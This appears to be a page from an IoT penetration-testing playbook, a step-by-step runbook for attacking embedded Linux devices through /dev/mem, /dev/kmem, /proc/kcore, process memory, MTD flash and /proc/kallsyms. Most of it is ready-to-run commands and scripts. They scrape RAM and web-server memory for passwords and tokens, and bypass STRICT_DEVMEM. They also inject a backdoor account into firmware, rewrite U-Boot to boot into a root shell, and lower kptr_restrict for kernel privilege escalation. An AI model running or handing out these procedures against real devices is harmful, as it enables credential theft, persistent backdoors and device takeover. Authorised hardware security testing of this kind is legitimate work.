/dev/mem, /dev/kmem, and MTD Runtime Patching
On embedded Linux, physical memory and raw flash are often accessible as character devices. Combined with /proc/kallsyms for kernel symbol resolution, these interfaces allow runtime rootkit injection, credential extraction, and live firmware modification without touching the filesystem.
Prerequisites
- Shell access on the target (obtained via UART/SSH/telnet or post-exploitation).
- Target runs Linux (confirms with
uname -a). - Check access:
ls -la /dev/mem /dev/kmem /dev/mtd*. - Tools:
devmem2(or/dev/memvia dd),mtd_debug,flashcp,busybox devmem.
# Confirm device nodes exist
ls -la /dev/mem /dev/kmem /dev/mtd* 2>/dev/null
# Confirm kernel version and MTD subsystem
uname -a
cat /proc/mtd
Phase 1 — Physical Memory Read via /dev/mem
1a. devmem2 (most common embedded tool)
# Read 4-byte word at physical address 0x10000000
devmem2 0x10000000 w
# Read byte at address
devmem2 0x10000000 b
# Write 4-byte word (use carefully — can crash SoC peripherals)
devmem2 0x10000000 w 0xDEADBEEF
# BusyBox devmem (same syntax on BusyBox builds)
busybox devmem 0x10000000 32
1b. dd + /dev/mem
# Dump 4KB region of physical RAM starting at 0x80000000 (DRAM base on many MIPS/ARM)
dd if=/dev/mem bs=1024 skip=$((0x80000000 / 1024)) count=4 > /tmp/mem_region.bin
# Read peripheral register (e.g., GPIO base on BCM2835 = 0x3F200000)
dd if=/dev/mem bs=4 skip=$((0x3F200034 / 4)) count=1 2>/dev/null | xxd
# Search physical RAM for a string (e.g., password, key material)
strings /dev/mem 2>/dev/null | grep -iE 'password|secret|key|token' | head -20
# Dump first 32MB of DRAM to exfil
dd if=/dev/mem bs=1M count=32 of=/tmp/memdump_32m.bin
1c. Bypass CONFIG_STRICT_DEVMEM
Kernels with CONFIG_STRICT_DEVMEM=y block non-MMIO physical addresses.
# Check if restriction is active
dmesg 2>/dev/null | grep -i "devmem\|mem: Checking"
# Bypass A: MMIO regions are always permitted — map peripheral registers
# GPIO, UART, timers are MMIO and bypass STRICT_DEVMEM checks.
# Bypass B: Use /proc/kcore (virtual kernel memory, may still be available)
dd if=/proc/kcore bs=1M count=8 of=/tmp/kcore_partial.bin 2>/dev/null
# Bypass C: Kernel module injection via /dev/kmem (see Phase 2)
# Bypass D: mmap /proc/<pid>/mem of a privileged process
# (works when CAP_SYS_PTRACE is available)
cat /proc/1/maps | grep heap
dd if=/proc/1/mem bs=1 skip=$((heap_start)) count=4096 of=/tmp/init_heap.bin 2>/dev/null
Phase 2 — Kernel Memory via /dev/kmem
/dev/kmem exposes virtual kernel address space. Available on older kernels
(pre-3.7) or when compiled without CONFIG_DEVKMEM=n.
# Check kernel virtual addresses from kallsyms
# (available when CONFIG_KALLSYMS=y, common on embedded devices for crash debugging)
cat /proc/kallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred'
# Example: ffffffff81801460 R sys_call_table
# Read kernel symbol value via /dev/kmem
SYM_ADDR=0xffffffff81801460
dd if=/dev/kmem bs=8 skip=$(( SYM_ADDR / 8 )) count=1 2>/dev/null | xxd
# Patch a kernel variable (e.g., set uid to 0 for current process)
# WARNING: wrong address = immediate kernel panic
# Use devmem2 with the virtual address:
devmem2 $SYM_ADDR q # quad-word read (64-bit)
2a. Extract kernel credentials from /proc/kcore
# /proc/kcore is ELF-formatted kernel memory snapshot
# Use volatility3 with a Linux profile if available:
vol -f /proc/kcore linux.bash.Bash # recover bash history from kernel
vol -f /proc/kcore linux.pslist.PsList
# Manual: search for credential structures
strings /proc/kcore 2>/dev/null | grep -E 'root|password|shadow' | head -20
Phase 3 — MTD Raw Flash Access
MTD (Memory Technology Devices) exposes raw NOR/NAND flash. On embedded Linux,
/dev/mtd* (char) and /dev/mtdblock* (block) devices are the primary paths
for read/write access to firmware partitions.
3a. Partition enumeration
# List all MTD partitions with sizes and names
cat /proc/mtd
# Example output:
# dev: size erasesize name
# mtd0: 00040000 00010000 "u-boot"
# mtd1: 00010000 00010000 "u-boot-env"
# mtd2: 00200000 00010000 "kernel"
# mtd3: 00600000 00010000 "rootfs"
# mtd4: 00200000 00010000 "storage"
3b. Dump MTD partition
# Method A: dd from block device
dd if=/dev/mtdblock3 of=/tmp/rootfs.bin bs=512
# Method B: mtd_debug read (preferred — handles bad blocks on NAND)
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_debug.bin
# Method C: nanddump (NAND-aware, includes OOB handling)
nanddump --noecc --omitoob /dev/mtd3 -f /tmp/rootfs_nand.bin
3c. Write (patch) an MTD partition
# DANGER: Writing to wrong partition bricks the device.
# Always verify partition map and backup before writing.
# Step 1: Backup the partition to be patched
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_backup.bin
sha256sum /tmp/rootfs_backup.bin > /tmp/rootfs_backup.bin.sha256
# Step 2: Modify the backup (e.g., inject backdoor account into /etc/passwd)
# Mount squashfs, modify, repack, place in /tmp/rootfs_patched.bin
# Step 3: Erase the MTD partition (REQUIRED before write on NOR flash)
flash_erase /dev/mtd3 0 0 # erase entire partition
# Or with mtd_debug:
mtd_debug erase /dev/mtd3 0 $((0x600000))
# Step 4: Write patched image
flashcp -v /tmp/rootfs_patched.bin /dev/mtd3
# Or mtd_debug write:
mtd_debug write /dev/mtd3 0 $((0x600000)) /tmp/rootfs_patched.bin
# Step 5: Verify write
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_verify.bin
diff /tmp/rootfs_patched.bin /tmp/rootfs_verify.bin && echo "WRITE OK" || echo "MISMATCH"
3d. U-Boot environment modification via MTD
# U-Boot env is typically in mtd1 (check /proc/mtd for "u-boot-env")
UBOOT_ENV_MTD=/dev/mtd1
# Dump current env
dd if=/dev/mtdblock1 of=/tmp/uboot_env.bin
# Decode: first 4 bytes = CRC32, then null-delimited key=value pairs
python3 -c "
import struct, zlib
data = open('/tmp/uboot_env.bin','rb').read()
crc_stored = struct.unpack('<I', data[:4])[0]
crc_calc = zlib.crc32(data[4:]) & 0xFFFFFFFF
print(f'CRC stored: {crc_stored:#010x}, calc: {crc_calc:#010x}')
env = data[4:].split(b'\\x00')
for e in env:
if e: print(e.decode(errors='replace'))
"
# Modify env and rewrite with correct CRC
python3 << 'EOF'
import struct, zlib
env_vars = {
"bootargs": "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh",
"bootcmd": "run bootlinux",
# add more vars as needed
}
# Build null-delimited env block (standard U-Boot env size = 64KB)
ENV_SIZE = 0x10000
payload = b""
for k, v in env_vars.items():
payload += f"{k}={v}\x00".encode()
payload += b"\x00"
payload = payload.ljust(ENV_SIZE - 4, b"\xff")
crc = struct.pack("<I", zlib.crc32(payload) & 0xFFFFFFFF)
with open("/tmp/uboot_env_patched.bin", "wb") as f:
f.write(crc + payload)
print("Patched env written")
EOF
# Flash patched env
flash_erase /dev/mtd1 0 0
flashcp /tmp/uboot_env_patched.bin /dev/mtd1
Phase 4 — Live Process Memory Access
# List running processes with memory maps
cat /proc/1/maps # init/systemd
# Identify heap/stack regions
# Read from process memory (requires same UID or root)
# Read 256 bytes at heap start of PID 1234
HEAP_START=0x00400000 # from /proc/1234/maps
dd if=/proc/1234/mem bs=1 skip=$HEAP_START count=256 of=/tmp/pid_mem.bin 2>/dev/null
# Search for credentials in web server process memory (lighttpd / httpd)
WEB_PID=$(pgrep lighttpd || pgrep httpd || pgrep uhttpd)
strings /proc/$WEB_PID/mem 2>/dev/null | grep -iE 'password|session|token' | head -20
# GDB (if available) — attach to running process
gdb -p $WEB_PID -batch -ex "x/512s 0x$(grep heap /proc/$WEB_PID/maps | head -1 | cut -d- -f1)" \
2>/dev/null | grep -iE 'password|secret|key'
Phase 5 — /proc/kallsyms Exploitation
# Read symbol table (requires root or kernel.kptr_restrict=0)
cat /proc/kallsyms | grep -E 'sys_call_table|commit_creds|prepare_kernel_cred|selinux'
# Check kptr_restrict setting
cat /proc/sys/kernel/kptr_restrict
# 0 = all addresses visible, 1 = visible to root, 2 = hidden always
# Lower restriction (if writable — common on IoT with permissive sysctl)
echo 0 > /proc/sys/kernel/kptr_restrict
# Use symbol addresses for kernel exploit primitives
# commit_creds(prepare_kernel_cred(0)) pattern for local priv-esc
# (pass to kernel module or mmap-based shellcode)
Evidence
EVDIR=/workspace/evidence/iot/<target>/devmem
mkdir -p "$EVDIR"
cp /tmp/memdump_32m.bin "$EVDIR/" 2>/dev/null
cp /tmp/rootfs_backup.bin "$EVDIR/" 2>/dev/null
sha256sum "$EVDIR"/*.bin > "$EVDIR/checksums.sha256"
echo "MTD partition map:" >> "$EVDIR/notes.txt"
cat /proc/mtd >> "$EVDIR/notes.txt"
echo "kallsyms sys_call_table:" >> "$EVDIR/notes.txt"
cat /proc/kallsyms | grep sys_call_table >> "$EVDIR/notes.txt"
OPSEC Notes
- MTD erase+write operations are irreversible if the backup is lost. Keep the backup
in
/workspace/evidence/before any write operation. - Writing wrong data to the U-Boot partition at offset 0x0 bricks the device with no
software recovery path. Triple-check partition map from
/proc/mtdbefore writing. /dev/memreads of active MMIO registers (UART, SPI, GPIO) can interfere with peripheral operation and may trigger watchdog resets.- On hardened devices (CONFIG_STRICT_DEVMEM, kernel.dmesg_restrict), memory access may generate audit log entries visible to the vendor's telemetry pipeline.
- MTD writes generate wear on flash cells; each erase cycle degrades the chip. Limit writes to the minimum needed; document all writes for device-return procedures.
References
- mtd-utils documentation:
https://github.com/sigma-star/mtd-utils - Linux MTD subsystem:
https://www.linux-mtd.infradead.org/doc/general.html - devmem2 tool:
https://github.com/VCTLabs/devmem2 - Kernel exploitation via /dev/mem:
references/devmem-kernel-exploit.md - U-Boot env format:
https://u-boot.readthedocs.io/en/latest/usage/environment.html